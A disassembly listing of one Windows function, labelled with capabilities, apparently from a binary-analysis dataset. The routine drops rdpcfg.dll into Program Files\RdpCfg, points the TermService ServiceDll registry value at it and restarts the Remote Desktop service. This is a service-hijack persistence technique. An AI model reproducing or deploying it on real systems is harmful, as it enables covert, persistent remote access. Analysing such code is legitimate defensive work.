Function at 0x401b10
Capabilities:
Create directory
Delete file
Move file
Persist via windows service
Query environment variable
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416e6b
mov eax, dword fs:[0]
push eax
sub esp, 0x78c
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
mov dword [ebp - 0x790], 0
push 0x80
lea eax, [ebp - 0x568]
mov dword [ebp - 0x794], 0
push esi
push eax
mov dword [ebp - 0x78c], esi
xor bl, bl
mov dword [ebp - 0x798], esi
call fcn.00403f80
movaps xmm0, xmmword [0x41cf40]
lea eax, [ebp - 0x550]
push 0x68
push esi
push eax
movups xmmword [ebp - 0x568], xmm0
mov dword [ebp - 0x558], esi
mov dword [ebp - 0x554], esi
call fcn.00403f80
push dword [ebp - 0x564]
call fcn.004022a3
mov dword [ebp - 0x568], eax
add esp, 0x14
mov dword [ebp - 4], esi
lea ecx, [ebp - 0x568]
call fcn.00401370
test al, al
je 0x401bef
lea eax, [ebp - 0x794]
push eax
lea eax, [ebp - 0x790]
push eax
lea ecx, [ebp - 0x568]
call fcn.00401400
test al, al
je 0x401bef
push str.get_last_ini_successfully_n
mov bl, 1
call fcn.00401040
add esp, 4
mov edi, dword [ebp - 0x55c]
test edi, edi
je 0x401c13
push 2
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x554]
test eax, eax
je 0x401c24
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
jne 0x401c55
lea eax, [ebp - 0x794]
mov ecx, str.CONFIG
push eax
lea edx, [ebp - 0x790]
call fcn.004015b0
add esp, 4
test eax, eax
jne 0x401c55
push str._get_buit_in_config_error_n
call fcn.00401040
jmp 0x4020f2
lea eax, [ebp - 0x798]
mov ecx, str.RDPCFG64
push eax
lea edx, [ebp - 0x78c]
call fcn.004015b0
add esp, 4
test eax, eax
jne 0x401c88
push str._get_buit_in_RDPCfg_dll_error_n
call fcn.00401040
mov esi, dword [ebp - 0x78c]
jmp 0x4020f2
call fcn.00401a50
call fcn.00401810
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.00403f80
push 0x104
lea eax, [ebp - 0x3e4]
push 0
push eax
call fcn.00403f80
push 0x104
lea eax, [ebp - 0x2e0]
push 0
push eax
call fcn.00403f80
push 0x104
lea eax, [ebp - 0x4e8]
push 0
push eax
call fcn.00403f80
add esp, 0x30
lea eax, [ebp - 0x114]
push 0x104
push eax
push str.ProgramW6432
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
lea eax, [ebp - 0x114]
push str.RdpCfg
jne 0x401d17
push str.C:Program_Files_s_
push eax
call fcn.00402220
add esp, 0xc
jmp 0x401d2c
push eax
lea eax, [ebp - 0x114]
push str._s_s_
push eax
call fcn.00402220
add esp, 0x10
push 0x41cd68
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x3e4]
push str._s_s
push eax
call fcn.00402220
push str.tmp.ini
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x2e0]
push str._s_s
push eax
call fcn.00402220
push str.rdpcfg.dll
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x4e8]
push str._s_s
push eax
call fcn.00402220
add esp, 0x30
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x401dc1
call edi
cmp eax, 0xb7
je 0x401dc1
push eax
push str._CreateDirectoryA_error___d_n
call fcn.00401040
mov esi, dword [ebp - 0x78c]
add esp, 8
jmp 0x4020f5
push 0x41cdb0
lea eax, [ebp - 0x3e4]
xor bl, bl
push eax
lea eax, [ebp - 0x788]
push eax
call fcn.00407292
add esp, 0xc
test eax, eax
jne 0x401df1
push dword [ebp - 0x788]
mov bl, 1
call fcn.00407151
jmp 0x401dfb
push str.open_old_ini_error_n
call fcn.00401040
add esp, 4
lea eax, [ebp - 0x2e0]
push 0x41cdc8
push eax
lea eax, [ebp - 0x77c]
push eax
call fcn.00407292
add esp, 0xc
test eax, eax
jne 0x401e46
push dword [ebp - 0x77c]
push dword [ebp - 0x794]
push 1
push dword [ebp - 0x790]
call fcn.0040785d
push dword [ebp - 0x77c]
call fcn.00407151
add esp, 0x14
jmp 0x401e53
push str.write_new_ini_error_n
call fcn.00401040
add esp, 4
xor bh, bh
test bl, bl
je 0x401f9e
push pe_nt_image_headers32
lea eax, [ebp - 0x778]
push 0
push eax
call fcn.00403f80
push pe_nt_image_headers32
lea eax, [ebp - 0x670]
mov dword [ebp - 0x778], 0
push 0
push eax
call fcn.00403f80
push 0x64
lea eax, [ebp - 0x178]
mov dword [ebp - 0x670], 0
push 0
push eax
call fcn.00403f80
push 0x64
lea eax, [ebp - 0x1dc]
push 0
push eax
call fcn.00403f80
add esp, 0x30
lea eax, [ebp - 0x3e4]
lea ecx, [ebp - 0x778]
push eax
call fcn.00401290
test al, al
je 0x401f5d
push ecx
lea eax, [ebp - 0x178]
push eax
sub esp, 8
lea ecx, [ebp - 0x778]
call fcn.004012f0
test al, al
je 0x401f5d
lea eax, [ebp - 0x2e0]
push eax
lea ecx, [ebp - 0x670]
call fcn.00401290
test al, al
je 0x401f5d
push ecx
lea eax, [ebp - 0x1dc]
push eax
sub esp, 8
lea ecx, [ebp - 0x670]
call fcn.004012f0
test al, al
je 0x401f5d
lea ecx, [ebp - 0x178]
lea eax, [ebp - 0x1dc]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401f50
test dl, dl
je 0x401f4c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401f50
add eax, 2
add ecx, 2
test dl, dl
jne 0x401f30
xor eax, eax
jmp 0x401f55
sbb eax, eax
or eax, 1
test eax, eax
jle 0x401f6a
mov bh, 1
jmp 0x401f6a
push str.read_ini_error_n
call fcn.00401040
add esp, 4
mov eax, dword [ebp - 0x670]
test eax, eax
je 0x401f87
push eax
call fcn.00407151
add esp, 4
mov dword [ebp - 0x670], 0
mov eax, dword [ebp - 0x778]
test eax, eax
je 0x401f9a
push eax
call fcn.00407151
add esp, 4
test bh, bh
je 0x401fc8
push 1
lea eax, [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x2e0]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x401fc8
call edi
push eax
push str.MoveFileExA_error__d
call fcn.00401040
add esp, 8
lea eax, [ebp - 0x2e0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x41cdc8
lea eax, [ebp - 0x4e8]
push eax
lea eax, [ebp - 0x780]
push eax
call fcn.00407292
mov esi, dword [ebp - 0x78c]
add esp, 0xc
test eax, eax
jne 0x40201e
push dword [ebp - 0x780]
push dword [ebp - 0x798]
push 1
push esi
call fcn.0040785d
push dword [ebp - 0x780]
call fcn.00407151
add esp, 0x14
jmp 0x40202b
push str.write_rdpcfg.dll_error_n
call fcn.00401040
add esp, 4
lea eax, [ebp - 0x784]
push eax
push 0x102
push 0
push str.SYSTEMCurrentControlSet_servicesTermServiceParameters
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
js 0x4020d8
push 0x104
lea eax, [ebp - 0x66c]
push 0
push eax
call fcn.00403f80
push str.rdpcfg.dll
push str.RdpCfg
lea eax, [ebp - 0x66c]
push str.__ProgramFiles___s_s
push eax
call fcn.00402220
lea ecx, [ebp - 0x66c]
add esp, 0x1c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402090
sub ecx, edx
lea eax, [ebp - 0x66c]
push ecx
push eax
push 2
push 0
push str.ServiceDll
push dword [ebp - 0x784]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jns 0x4020ca
call edi
push eax
push str.RegSetValueA_error__d
call fcn.00401040
add esp, 8
push dword [ebp - 0x784]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4020e8
call edi
push eax
push str.RegOpenKeyExA_error__d
call fcn.00401040
add esp, 8
push str.net_start_termservice
call fcn.0040761a
add esp, 4
mov eax, dword [ebp - 0x790]
test eax, eax
je 0x40210a
push 1
push eax
call fcn.00402295
add esp, 8
test esi, esi
je 0x402119
push 1
push esi
call fcn.00402295
add esp, 8
mov eax, dword [ebp - 0x568]
test eax, eax
je 0x402138
push 1
push eax
call fcn.00402295
add esp, 8
mov dword [ebp - 0x568], 0
mov eax, dword [ebp - 0x55c]
test eax, eax
je 0x40214d
push 0x14
push eax
call fcn.00402295
add esp, 8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402251
mov esp, ebp
pop ebp
ret